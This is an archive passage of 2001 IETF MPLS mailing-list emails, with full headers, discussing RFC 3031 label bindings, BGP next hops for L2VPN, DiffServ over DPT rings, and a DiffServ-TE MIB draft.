Message-ID: <65256A46.0037434F.00@sandesh.hss.hns.com>
Date: Tue, 8 May 2001 15:33:35 +0530
Subject: Re: rfc3031 section3.2
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
Sender: owner-mpls@UU.NET
Precedence: bulk



hi all!
     In my opinion what the statement means is that when the downstream LSR(Rd)
suggests a mapping for a given FEC to a upstream LSR (Ru) it is not binding or
mandatory for the Ru to use that binding for forwarding packets belonging to
that FEC through Rd. Think of a DU mode operation for a set of downstream
routers, all sending the binding for the same FEC to a upstream router Ru. The
decision is for LSR Ru to decide which one it wants to use for forwarding the
packets. Of course the decision algorithm is out of scope here.



ciao
sumit




"chetan kumar s" <chetan.kumar@wipro.com> on 05/08/2001 02:44:52 PM

Please respond to chetan.kumar@wipro.com

To:   "Hailong Lu.sean" <sealong@163.com>
cc:   "mpls@uu.net" <mpls@UU.NET> (bcc: Sumit Chauhan/HSS)

Subject:  Re: rfc3031 section3.2





> Hi,there
>     I am new guy to MPLS.While reading rfc3031's section 3.2,there
> are some words I can't understand:

Hi,
     This paragraph is to say that, the terms 'upstream' and
'downstream' are applicable to a set of two nodes only in the context of
one particular FEC and corresponding lable for that FEC between these to
nodes, and for nothing else. Would this make clear ??

Thanks
Chetan S

>
>    "To say that one node is upstream and one is downstream with respect
>    to a given binding means only that a particular label represents a
>    particular FEC in packets travelling from the upstream node to the
>    downstream node.  This is NOT meant to imply that packets in that FEC
>    would actually be routed from the upstream node to the downstream
>    node"
>
>    thanks.
>
>
>
> sean
>
>









From owner-mpls@UU.NET  Tue May  8 09:14:31 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA20692
	for <mpls-archive@lists.ietf.org>; Tue, 8 May 2001 09:14:31 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkocy14584;
	Tue, 8 May 2001 13:13:35 GMT
Received: by mail-control.mail.uu.net 
	id QQkocy00893
	for mpls-outgoing; Tue, 8 May 2001 13:13:02 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkocy00839
	for <mpls@mail-control.mail.uu.net>; Tue, 8 May 2001 13:12:41 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkocy17856
	for <mpls@UU.NET>; Tue, 8 May 2001 13:12:39 GMT
Received: from tenornetworks.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: rtu.tenornetworks.com [63.77.213.2])
	id QQkocy16876
	for <mpls@UU.NET>; Tue, 8 May 2001 13:12:39 GMT
Received: from tenornet.com (newman [192.168.0.185])
	by tenornetworks.com (Switch-2.1.0/Switch-2.1.0) with ESMTP id f48DCcK08038;
	Tue, 8 May 2001 09:12:38 -0400 (EDT)
Received: from 192.168.0.185
          by tenornet.com;
          TUE, 8 May 2001 09:07:31 -0700
Received: by newman.tenornet.com with Internet Mail Service (5.5.2650.21)
	id <22V8AY9T>; Tue, 8 May 2001 09:07:31 -0400
Message-ID: <6B190B34070BD411ACA000B0D0214E56C65C8C@newman.tenornet.com>
From: "Li, Eve" <eveli@tenornetworks.com>
To: Quaizar Vohra <qv@juniper.net>, "Li, Eve" <eveli@tenornetworks.com>
Cc: mpls@UU.NET
Subject: RE: Comments on kompella-mpls-l2vpn-02 draft
Date: Tue, 8 May 2001 09:07:24 -0400 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk



In rfc 2858 [BGP-MP], Page 3: 

      Address Family Identifier:

         This field carries the identity of the Network Layer protocol
         associated with the Network Address that follows. Presently
         defined values for this field are specified in RFC 1700 (see
         the Address Family Numbers section).


on Page 4: 
      Network Address of Next Hop:

         A variable length field that contains the Network Address of
         the next router on the path to the destination system  

My understanding is that these two paragraphs requires Next Hop need to be
of the same format as NLRI for a given address family. But given that a new
address family (l2vpn) is defined, specifying the next hop for l2vpn is
always an IPV4 address is fine with me. 

-eve

-----Original Message-----
From: Quaizar Vohra [mailto:qv@juniper.net]
Sent: Monday, May 07, 2001 8:35 PM
To: Li, Eve
Cc: mpls@UU.NET
Subject: Comments on kompella-mpls-l2vpn-02 draft




 > BGP's next hop field for L2VPN signalling is not clearly specified. 
 > 
 > Since [BGP-MP] (rfc 2858) requires that the next hop address be in the
same
 > address family as the NLRI.  What the next hop address should be for
 > L2VPN-specific NLRIs?  Thx, 

I couldn't find any such requirement in the rfc. 

Since you want MPLS LSPs terminating in these next-hop addresses, and
currently most implementation use IPv4 addresses as destinations in
the LSPs, it seems like IPv4 addresses are a good candidate for the
nexthop field. 

We will update the L2VPN specification to reflect this as a
recommendation.

Thanks,
Quaizar



 > 
 > -eve


From owner-mpls@UU.NET  Tue May  8 10:05:20 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA22975
	for <mpls-archive@lists.ietf.org>; Tue, 8 May 2001 10:05:20 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkodc00708;
	Tue, 8 May 2001 14:04:30 GMT
Received: by mail-control.mail.uu.net 
	id QQkodc15878
	for mpls-outgoing; Tue, 8 May 2001 14:02:56 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkodc10795
	for <mpls@mail-control.mail.uu.net>; Tue, 8 May 2001 14:01:48 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkodc09299
	for <mpls@UU.NET>; Tue, 8 May 2001 14:01:19 GMT
Received: from yarilo.pluris.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: host200.pluris.com [208.227.9.200])
	id QQkodc28228
	for <mpls@UU.NET>; Tue, 8 May 2001 14:01:19 GMT
Received: from volsung.pluris.com (volsung.pluris.com [172.16.50.19])
	by yarilo.pluris.com (8.9.2/8.9.1) with ESMTP id HAA19659;
	Tue, 8 May 2001 07:00:47 -0700 (PDT)
Received: from localhost (akyol@localhost)
	by volsung.pluris.com (8.8.8+Sun/8.8.8) with ESMTP id HAA10287;
	Tue, 8 May 2001 07:00:46 -0700 (PDT)
Date: Tue, 8 May 2001 07:00:46 -0700 (PDT)
From: Bora Akyol <akyol@volsung.pluris.com>
To: Juha Heinanen <jh@lohi.eng.telia.fi>
cc: Fred Baker <fred@cisco.com>, "'mpls@uu.net'" <mpls@UU.NET>,
        te-wg@ops.ietf.org
Subject: RE: QoS in Shared Media
In-Reply-To: <15095.35863.76753.616693@lohi.eng.telia.fi>
Message-ID: <Pine.GSO.4.05.10105080659230.10279-100000@volsung.pluris.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mpls@UU.NET
Precedence: bulk



On Tue, 8 May 2001, Juha Heinanen wrote:

> 
> according to your definition even atm supports diffserv since one can
> always use cbr vcs between routers and then let the routers do the
> proper queueing.  for several reasons this is not a good idea.
> 
> -- juha
> 

Juha

Would you care to explain your comment above. I would prefer to do the
queueing in the routers rather than let L2 QoS mechanisms manage the
queueing.

Bora




From owner-mpls@UU.NET  Tue May  8 10:20:44 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA23982
	for <mpls-archive@lists.ietf.org>; Tue, 8 May 2001 10:20:43 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkodd03812;
	Tue, 8 May 2001 14:19:27 GMT
Received: by mail-control.mail.uu.net 
	id QQkodd26414
	for mpls-outgoing; Tue, 8 May 2001 14:18:54 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkodd26407
	for <mpls@mail-control.mail.uu.net>; Tue, 8 May 2001 14:18:52 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkodd10337
	for <mpls@UU.NET>; Tue, 8 May 2001 14:15:14 GMT
Received: from ns2.cypress.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: ns2.cypress.com [157.95.67.5])
	id QQkodd18751
	for <mpls@UU.NET>; Tue, 8 May 2001 14:15:13 GMT
Received: from corpmail.cypress.com (corpmail.cypress.com [157.95.1.2])
	by ns2.cypress.com (8.10.2/8.10.2) with ESMTP id f48EF6418058;
	Tue, 8 May 2001 07:15:07 -0700 (PDT)
Received: from cobweb.mis.cypress.com (cobweb.mis.cypress.com [172.16.2.5])
	by corpmail.cypress.com (8.10.2/8.10.2) with ESMTP id f48EC0W24847;
	Tue, 8 May 2001 07:12:00 -0700 (PDT)
Received: from cypress.com ([157.95.237.150])
	by cobweb.mis.cypress.com (8.10.2/8.10.2) with ESMTP id f48EGH027251;
	Tue, 8 May 2001 07:16:32 -0700 (PDT)
Message-ID: <3AF7FF94.F9FBE54A@cypress.com>
Date: Tue, 08 May 2001 07:15:48 -0700
From: Pankaj K Jha <pkj@cypress.com>
Organization: Cypress  Semiconductor Corp.
X-Mailer: Mozilla 4.7 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Jay Wang <jwang@opixnetworks.com>
CC: Juha Heinanen <jh@lohi.eng.telia.fi>,
        HANSEN CHAN <hansen.chan@alcatel.com>, Fred Baker <fred@cisco.com>,
        "Naidu, Venkata" <Venkata.Naidu@Marconi.com>,
        "'mpls@uu.net'" <mpls@UU.NET>, te-wg@ops.ietf.org
Subject: Re: QoS in Shared Media
References: <NEBBKNOANMBIAAGAOBILMENOCBAA.jwang@opixnetworks.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hi Jay:

DPT (or similar technologies) give a "virtual" shared media, and its MAC does
play a significant role in packet forwarding. I've looked at DPT simulation
results, and also looked carefully into its bandwidth allocation. Another
problem with DPT bandwidth management is that a node sends usage notification
upstream through a control message. This prevents statistical multiplexing or
bursting of packets, as actual packet usage changes from packet to packet (by
the time upstream node has taken note of available bandwidth at the downstream
node, the downstream node situation may have changed). Even though there is a
MAX_USAGE field defined, this is not used for the kind of operation you want.

You cannot do PHB if MAC is not helping, that is, if the MAC has already gone
ahead and put transit packets into output transit buffer. The DPT MAC
completely bypasses other schemes by forcing traffic into one of two classes -
high or low. Multiple classes can be used when the MAC either allows it, or
doesn't come in the way of doing it. Maybe you can do PHB if you can somehow
bypass MAC's 2-priority classification and control the whole thing yourself.

On BW issue, typically in metro networks there is usually one or more node that
provides access to Internet, is a file server, or performs similar functions.
Bandwidth requirements at these nodes are quite different from those of other
nodes. You wouldn't want to create multiple rings each time you have nodes that
are data hot points (you can do it easily in LAN environments where you can
segment the network easily using L2/L3 devices. Rings are harder to come by and
need more equipment and installed cabling).

Please let me know if you find a way of doing it with DPT, I'd like to find
out.

-Pankaj

Jay Wang wrote:

> Pankaj,
>
> -----Original Message-----
> From: Pankaj K Jha [mailto:pkj@cypress.com]
> Sent: Monday, May 07, 2001 4:46 PM
> To: Jay Wang
> Cc: Juha Heinanen; HANSEN CHAN; Fred Baker; Naidu, Venkata;
> 'mpls@uu.net'; te-wg@ops.ietf.org
> Subject: Re: QoS in Shared Media
>
> >DPT, on the other hand, will go ahead and divide available bandwidth
> equally to
> >all four nodes - ignoring whatever you may do with Diff-serv. DPT works
> best
> >when all nodes have equal bandwidth requirements, and it doesn't work when
> you
> >have dissimilar bandwidth needs. Dissimilar bandwidth needs are quite
> common in
> >metro networks where hub-and-spoke configurations are norm. If you have
> >bandwidth paying customers such as financial institutions and corporate
> clients
> >on a metro ring along with average over-provisioned clients, DPT will not
> do the
> >job at all, in my view.
>
> I believe DPT allows you to artificially specify a cap on the bandwidth, by
> configuring the MAX_USAGE parameter, on a per-node basis. But even if all
> the
> nodes evenly divide the ring bandwidth, this does not mean that on each
> node,
> I can not provide differentiated treatment (in terms of forwarding and
> bandwidth
> allocation) among diffserv PHBs at the nodes.  Also if the nodes have very
> different
> BW needs, then they don't have to be placed on the same ring, a traffic
> engineering
> issue for the carrier.
>
> - jay



From owner-mpls@UU.NET  Tue May  8 10:35:06 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA24825
	for <mpls-archive@lists.ietf.org>; Tue, 8 May 2001 10:35:06 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkodc29438;
	Tue, 8 May 2001 14:02:01 GMT
Received: by mail-control.mail.uu.net 
	id QQkodc09965
	for mpls-outgoing; Tue, 8 May 2001 14:01:21 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkodc09509
	for <mpls@mail-control.mail.uu.net>; Tue, 8 May 2001 14:01:00 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkodc15935
	for <mpls@uu.net>; Tue, 8 May 2001 14:00:30 GMT
Received: from sj-msg-core-2.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-2.cisco.com [171.69.24.11])
	id QQkodc26984
	for <mpls@uu.net>; Tue, 8 May 2001 14:00:29 GMT
Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50])
	by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id f48E0QH21618
	for <mpls@uu.net>; Tue, 8 May 2001 07:00:27 -0700 (PDT)
Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id KAA19009 for mpls@uu.net; Tue, 8 May 2001 10:00:27 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkocw09526
	for <mpls@mail-control.mail.uu.net>; Tue, 8 May 2001 12:38:37 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkocw28527
	for <mpls@UU.NET>; Tue, 8 May 2001 12:37:11 GMT
Received: from EXCHANGE_SERVER by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [203.197.125.243])
	id QQkocw19473
	for <mpls@UU.NET>; Tue, 8 May 2001 12:36:58 GMT
Received: from usha (FIREWALL [203.197.125.228]) by EXCHANGE_SERVER with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id KQ1VSBFY; Tue, 8 May 2001 18:10:21 +0530
Message-ID: <022c01c0d7bb$8b6b11c0$4d6e10ac@ushacomm.co.in>
From: "Siddhartha Kataki" <siddhartha.kataki@ushacomm.co.in>
To: "Hoang, Ban" <bhoang@sorrentonet.com>,
        "'Chrysostomos Tziouvaras'" <tziou@ics.forth.gr>, <mpls@UU.NET>,
        <ip-optical@lists.bell-labs.com>
References: <DA346B0DBBC8D411B5E600D0B789E071111FDC@SRNEX01>
Subject: Re: [IP-Optical] Modelling of CR-LSP requests
Date: Tue, 8 May 2001 18:06:41 +0530
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0229_01C0D7E9.A21AEFC0"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_0229_01C0D7E9.A21AEFC0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

RE: [IP-Optical] Modelling of CR-LSP requestsHellp Ban,

I would suggest if you can go to the DARPA =
site(http://www.darpa.mil/MTO/MEMS/). Maybe you can get some =
information.

Regards,

Siddhartha
  ----- Original Message -----=20
  From: Hoang, Ban=20
  To: 'Chrysostomos Tziouvaras' ; mpls@UU.NET ; =
ip-optical@lists.bell-labs.com=20
  Sent: Monday, May 07, 2001 10:24 PM
  Subject: RE: [IP-Optical] Modelling of CR-LSP requests


  Hi all:=20

  I would like to know if any one have the informations about MEMS ( =
Micro ElectroMechanical Systems) technology. Please guide me if you have =
any web site discussion/having good informations about it. Thanks a lot =
!

  Ban Hoang=20

  -----Original Message-----=20
  From: Chrysostomos Tziouvaras [mailto:tziou@ics.forth.gr]=20
  Sent: Sunday, May 06, 2001 8:11 AM=20
  To: mpls@UU.NET; ip-optical@lists.bell-labs.com=20
  Subject: [IP-Optical] Modelling of CR-LSP requests=20



  Dear all,=20
  I am trying to conduct some experiments concerning MPLambdaS. The=20
  experimental scenario is that there is an optical backbone to which =
are=20
  attached many MPLS client networks. These client networks produce =
Label=20
  Request messages.=20
  Do you have in mind any realistic scenario about=20
  -the probability distribution concerning the arrival  of such requests =

  -the lifetime of the requested CR-LSPs=20
  -the size of bandwidth that each CR-LSP request can ask.=20

  Thanks=20
  Tziouvaras Chrysostomos=20
  ICS-FORTH Researcher=20




  _______________________________________________=20
  IP-Optical mailing list=20
  IP-Optical@lists.bell-labs.com=20
  http://lists.bell-labs.com/mailman/listinfo/ip-optical=20


------=_NextPart_000_0229_01C0D7E9.A21AEFC0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE>RE: [IP-Optical] Modelling of CR-LSP requests</TITLE>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2314.1000" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hellp Ban,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I would suggest if you can go to the =
DARPA site(<A=20
href=3D"http://www.darpa.mil/MTO/MEMS/">http://www.darpa.mil/MTO/MEMS/</A=
>). Maybe=20
you can get some information.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Regards,</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Siddhartha</FONT></DIV>
<BLOCKQUOTE=20
style=3D"BORDER-LEFT: #000000 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: =
0px; PADDING-LEFT: 5px; PADDING-RIGHT: 0px">
  <DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>
  <DIV=20
  style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
  <A href=3D"mailto:bhoang@sorrentonet.com" =
title=3Dbhoang@sorrentonet.com>Hoang,=20
  Ban</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A =
href=3D"mailto:tziou@ics.forth.gr"=20
  title=3Dtziou@ics.forth.gr>'Chrysostomos Tziouvaras'</A> ; <A=20
  href=3D"mailto:mpls@UU.NET" title=3Dmpls@UU.NET>mpls@UU.NET</A> ; <A=20
  href=3D"mailto:ip-optical@lists.bell-labs.com"=20
  =
title=3Dip-optical@lists.bell-labs.com>ip-optical@lists.bell-labs.com</A>=
 </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Monday, May 07, 2001 =
10:24 PM</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> RE: [IP-Optical] =
Modelling of=20
  CR-LSP requests</DIV>
  <DIV><BR></DIV>
  <P><FONT size=3D2>Hi all:</FONT> </P>
  <P><FONT size=3D2>I would like to know if any one have the =
informations about=20
  MEMS ( Micro ElectroMechanical Systems) technology. Please guide me if =
you=20
  have any web site discussion/having good informations about it. Thanks =
a lot=20
  !</FONT></P>
  <P><FONT size=3D2>Ban Hoang</FONT> </P>
  <P><FONT size=3D2>-----Original Message-----</FONT> <BR><FONT =
size=3D2>From:=20
  Chrysostomos Tziouvaras [<A=20
  =
href=3D"mailto:tziou@ics.forth.gr">mailto:tziou@ics.forth.gr</A>]</FONT> =

  <BR><FONT size=3D2>Sent: Sunday, May 06, 2001 8:11 AM</FONT> <BR><FONT =

  size=3D2>To: <A href=3D"mailto:mpls@UU.NET">mpls@UU.NET</A>; <A=20
  =
href=3D"mailto:ip-optical@lists.bell-labs.com">ip-optical@lists.bell-labs=
.com</A></FONT>=20
  <BR><FONT size=3D2>Subject: [IP-Optical] Modelling of CR-LSP =
requests</FONT>=20
  </P><BR>
  <P><FONT size=3D2>Dear all,</FONT> <BR><FONT size=3D2>I am trying to =
conduct some=20
  experiments concerning MPLambdaS. The</FONT> <BR><FONT =
size=3D2>experimental=20
  scenario is that there is an optical backbone to which are</FONT> =
<BR><FONT=20
  size=3D2>attached many MPLS client networks. These client networks =
produce=20
  Label</FONT> <BR><FONT size=3D2>Request messages. </FONT><BR><FONT =
size=3D2>Do you=20
  have in mind any realistic scenario about </FONT><BR><FONT =
size=3D2>-the=20
  probability distribution concerning the arrival&nbsp; of such =
requests</FONT>=20
  <BR><FONT size=3D2>-the lifetime of the requested CR-LSPs</FONT> =
<BR><FONT=20
  size=3D2>-the size of bandwidth that each CR-LSP request can =
ask.</FONT> </P>
  <P><FONT size=3D2>Thanks</FONT> <BR><FONT size=3D2>Tziouvaras =
Chrysostomos</FONT>=20
  <BR><FONT size=3D2>ICS-FORTH Researcher</FONT> </P><BR><BR>
  <P><FONT =
size=3D2>_______________________________________________</FONT>=20
  <BR><FONT size=3D2>IP-Optical mailing list</FONT> <BR><FONT=20
  size=3D2>IP-Optical@lists.bell-labs.com</FONT> <BR><FONT size=3D2><A=20
  href=3D"http://lists.bell-labs.com/mailman/listinfo/ip-optical"=20
  =
target=3D_blank>http://lists.bell-labs.com/mailman/listinfo/ip-optical</A=
></FONT>=20
  </P></BLOCKQUOTE></BODY></HTML>

------=_NextPart_000_0229_01C0D7E9.A21AEFC0--



From owner-mpls@UU.NET  Tue May  8 12:45:46 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA01293
	for <mpls-archive@lists.ietf.org>; Tue, 8 May 2001 12:45:46 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkodm24793;
	Tue, 8 May 2001 16:44:38 GMT
Received: by mail-control.mail.uu.net 
	id QQkodm18104
	for mpls-outgoing; Tue, 8 May 2001 16:44:07 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkodm18070
	for <mpls@mail-control.mail.uu.net>; Tue, 8 May 2001 16:43:53 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkodm23953
	for <mpls@UU.NET>; Tue, 8 May 2001 16:43:19 GMT
Received: from philotas.hosting.pacbell.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: philotas.hosting.pacbell.net [216.100.99.24])
	id QQkodm02679
	for <mpls@UU.NET>; Tue, 8 May 2001 16:43:18 GMT
Received: from jaypc (adsl-64-168-85-242.dsl.snfc21.pacbell.net [64.168.85.242])
	by philotas.hosting.pacbell.net
	id MAA07136; Tue, 8 May 2001 12:43:05 -0400 (EDT)
	[ConcentricHost SMTP Relay 1.7]
From: "Jay Wang" <jwang@opixnetworks.com>
To: "Juha Heinanen" <jh@lohi.eng.telia.fi>
Cc: "'mpls@uu.net'" <mpls@UU.NET>, <te-wg@ops.ietf.org>
Subject: RE: QoS in Shared Media
Date: Tue, 8 May 2001 09:41:27 -0700
Message-ID: <NEBBKNOANMBIAAGAOBILGEOCCBAA.jwang@opixnetworks.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
In-Reply-To: <15095.35863.76753.616693@lohi.eng.telia.fi>
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hi Juha,

>jay,
>
>dpt is layer 2 technology and i was talking about diffserv support at
>layer 2, 

I see. Sorry for the misunderstanding.

>which dpt doesn't properly have.  ethernet, on the other hand,
>does support diffserv also at layer 2, which allows you to build a layer
>2 switched network of any topology and still have proper support for
>diffserv.  
>according to your definition even atm supports diffserv since one can
>always use cbr vcs between routers and then let the routers do the
>proper queueing.  for several reasons this is not a good idea.
>

I that case, would you mind elaborating your concerns?

thanks,

- jay
 


From owner-mpls@UU.NET  Tue May  8 15:40:21 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA05768
	for <mpls-archive@lists.ietf.org>; Tue, 8 May 2001 15:40:07 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkody28635;
	Tue, 8 May 2001 19:39:25 GMT
Received: by mail-control.mail.uu.net 
	id QQkody04565
	for mpls-outgoing; Tue, 8 May 2001 19:38:54 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkody04555
	for <mpls@mail-control.mail.uu.net>; Tue, 8 May 2001 19:38:47 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkody11270
	for <mpls@UU.NET>; Tue, 8 May 2001 19:37:59 GMT
Received: from mailgate.pit.comms.marconi.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQkody11083
	for <mpls@UU.NET>; Tue, 8 May 2001 19:37:58 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id PAA20253;
	Tue, 8 May 2001 15:37:55 -0400 (EDT)
Received: from whq-msgrtr-01.pit.comms.marconi.com (whq-msgrtr-01.pit.comms.marconi.com [169.144.2.221])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id PAA26116;
	Tue, 8 May 2001 15:37:56 -0400 (EDT)
Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21)
	id <JJTLLZQM>; Tue, 8 May 2001 15:37:39 -0400
Message-ID: <4FBEA8857476D311A03300204840E1CF446C5A@whq-msgusr-02.pit.comms.marconi.com>
From: "Choudhury, Sanjaya" <Sanjaya.Choudhury@marconi.com>
To: "'Thomas D. Nadeau'" <tnadeau@cisco.com>, "'mpls@UU.NET'"
	 <mpls@UU.NET>
Subject:  draft-nadeau-mpls-ds-te-mib-00.txt -some suggestions 
Date: Tue, 8 May 2001 15:37:55 -0400 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

	
	Hi! Posted these suggestions couple of
	months back, re-posting for soliciting
	feedback.

	Thanks,
	sanjay


-----Original Message-----
From: Choudhury, Sanjaya 
Sent: Wednesday, February 28, 2001 10:55 AM
To: 'Thomas D. Nadeau'; mpls@UU.NET
Cc: Choudhury, Sanjaya
Subject: RE: draft-nadeau-mpls-ds-te-mib-00.txt -some suggestions



Hi! I have few suggestions related to the mplsDsTeIfClassTypeTable.
I will appreciate, if you can take them in to consideration.

Thanks,
sanjay
 

Suggestions related to the mplsDsTeIfClassTypeTable:
---------------------------------------------------

Advantages of the suggested change:
-----------------------------------
(1) Builds the support for the concepts introduced in the DiffServ-TE
(mpls-diff-te-reqts-00) draft, based on the earlier MPLS-DiffServ
draft(mpls-diff-ext-07).

	How:
	(a) mpls-diff-ext-07 support
	----------------------------
	MPLS-DiffServ draft expects the signaling messages to
